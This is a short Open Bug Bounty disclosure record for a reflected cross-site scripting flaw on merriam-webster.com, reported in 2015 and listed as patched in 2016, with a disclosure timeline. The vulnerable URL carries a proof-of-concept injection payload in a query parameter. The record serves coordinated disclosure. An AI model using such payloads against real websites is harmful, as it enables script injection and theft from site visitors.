merriam-webster.com XSS vulnerability

2015-10-13T07:50:00
ID OBB:91618
Type openbugbounty
Reporter dim0k
Modified 2016-01-30T23:10:00

Description

Vulnerable URL:
http://www.merriam-webster.com/video/0059-funner.html?pid=x'-alert(/XSSPOSED/)-'x
Details:

Description| Value
---|---
Patched:| Yes, at 30.01.2016
Latest check for patch:| 30.01.2016 23:10 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 1071
Google Pagerank| 8
VIP website status:| Yes
Check merriam-webster.com SSL connection:| (Grade: A)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 13 October, 2015 07:50 GMT
Vulnerability existence verified and confirmed| 13 October, 2015 07:52 GMT
Vulnerability patched by the website owner| 30 January, 2016 23:10 GMT